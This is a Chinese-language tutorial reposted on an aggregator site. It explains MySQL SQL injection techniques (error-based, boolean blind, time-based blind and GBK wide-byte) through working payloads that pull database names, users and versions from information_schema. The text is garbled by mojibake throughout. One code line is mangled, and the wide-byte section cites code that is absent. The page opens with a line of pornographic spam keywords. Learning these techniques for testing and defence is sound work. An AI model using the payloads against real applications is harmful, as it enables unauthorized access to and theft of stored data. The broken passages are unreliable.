日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 >

sql注入-error、boolean、time-based and 宽字节

發(fā)布時(shí)間:2025/3/21 60 豆豆
生活随笔 收集整理的這篇文章主要介紹了 sql注入-error、boolean、time-based and 宽字节 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

1、Error-based SQL injection

利用前提:

頁面上沒有顯示位,但是需要輸出SQL語句執(zhí)行錯(cuò)誤信息。比如mysqli_error()

優(yōu)點(diǎn):
不需要顯示位
缺點(diǎn):
需要輸出mysqli_error( )的報(bào)錯(cuò)信息

  • 通過floor報(bào)錯(cuò)

    select 列1(count()) , 列2(concat()隨機(jī)數(shù)) as x from 表 group by x;
    select count(),concat(database(),floor(rand(0)*2)) as x from users group by x
    select * from users where id = 1 and (select 345 from (表) as b )

  • 獲取有多少個(gè)數(shù)據(jù)庫

    and (select 1 from(select count(*),concat((select (select (select
    concat(0x7e,count(schema_name),0x7e) from information_schema.schemata)) from
    information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables
    group by x)a)

  • 通過limit 獲取所有數(shù)據(jù)庫名

    and (select 1 from(select count(*),concat((select (select (select concat(0x7e,
    schema_name, 0x7e) from information_schema.schemata limit 0,1)) from
    information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables
    group by x)a)

  • 通過ExtractValue報(bào)錯(cuò)

    and extractvalue(1, (payload))
    and extractvalue(1, concat(0x7e,(select @@version),0x7e))

  • 通過UpdateXML報(bào)錯(cuò)

    and updatexml(1,(payload),1)
    and updatexml(1, (concat(0x7e,(select @@version),0x7e)),1)

  • 2、Boolean-based blind SQL injection

    利用前提

    頁面上沒有顯示位,也沒有輸出SQL語句執(zhí)行錯(cuò)誤信息。只能通過頁面返回正常不正常

    優(yōu)點(diǎn):
    不需要顯示位,不需要出錯(cuò)信息。
    缺點(diǎn):
    速度慢,耗費(fèi)大量時(shí)間。

    需要掌握的幾個(gè)函數(shù)

    • exists( )
    • ascii( )
    • substr( string,pos,length) // 下標(biāo)從1開始
    • exists( )函數(shù):
    • esists 用于檢查子查詢是否只要會(huì)返回一行數(shù)據(jù),該子查詢實(shí)際上并不返回任何數(shù)據(jù),而是返回True或False。
    • ascii( )函數(shù):返回字符串str的最左面字符的ASCII代碼值。如果str是空字符串,返回0。如果str是NULL,返回NULL。
    • substr( ) 函數(shù):substr(string, num start, num length);string 為字符串,start為起始位置;下標(biāo)從1開始;length為長度。

    example:
    and exists (select user())
    and substr((select user()), 1, 1)=‘r’
    and substr((select user()), 2, 1)=‘o’
    and ascii(“r”)=114
    and ascii(substr((select user()), 1, 1))>114
    and ascii(substr((select user()), 2, 1))>111
    ?id=1’ and exists(select * from information_schema.tables) --+
    ?id=1’ and (select length(version()))=6 --+ //判斷version()返回字符串長度。
    ?id=1’ and (select count(table_schema) from information_schema.tables) > 8 --+
    //判斷有多少數(shù)據(jù)庫
    ?id=1’ and (select ascii(substr((select table_schema from information_schema.tables limit 0,
    1), 1, 1)))>105 --+ //判斷第一個(gè)庫的第一個(gè)字符
    Time-based blind SQL injection

    3、Time-based blind SQL injection

    利用前提

    頁面上沒有顯示位,也沒有輸出SQL語句執(zhí)行錯(cuò)誤信息。正確的SQL語句和錯(cuò)誤的SQL語句返回頁面都一樣,但是加入sleep(5)條件之后,頁面的返回速度明顯慢了5秒。

    優(yōu)點(diǎn):
    不需要顯示位,不需要出錯(cuò)信息。
    缺點(diǎn):
    速度慢,耗費(fèi)大量時(shí)間。

    • IF(Condition,A,B)函數(shù):當(dāng)Condition為TRUE時(shí),返回A;當(dāng)Condition為FALSE時(shí),返回B。
      eg:if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)

    • if(ascii(substr((payload), 1, 1))=114, sleep(5), 1)
      if((select count(distinct table_schema) from information_schema.tables)=17, sleep(5), 1)//獲取當(dāng)前數(shù)據(jù)庫個(gè)數(shù)

    • if(ascii(substr((select user()), 1, 1))=114, sleep(5), 1) //獲取當(dāng)前連接數(shù)據(jù)庫用戶第一個(gè)字母

    • if(ascii(substr((select distinct table_schema from information_schema.tables limit 0, 1), 1, 1))=105,sleep(5), 1) //判斷第一個(gè)數(shù)據(jù)庫第一個(gè)字符。

    • if(ascii(substr((select distinct table_schema from information_schema.tables limit 0, 1), 2, 1))=110,sleep(5), 1) //判斷第一個(gè)數(shù)據(jù)庫第二個(gè)字符。

    4、寬字節(jié)注入的問題

    以上代碼中:
    mysql_query(“SET NAMES ‘gbk’”, $con); //設(shè)置了GBK編碼,把數(shù)據(jù)庫信息填寫進(jìn)去。
    age=addslashes(age = addslashes(age=addslashes(_GET[‘a(chǎn)ge’]);
    addslashes() 函數(shù)返回在預(yù)定義字符之前添加反斜杠的字符串
    預(yù)定義字符

    • 單引號(hào)(’)
    • 雙引號(hào)(")
    • 反斜杠(\)
    • NULL

    總結(jié)

    以上是生活随笔為你收集整理的sql注入-error、boolean、time-based and 宽字节的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。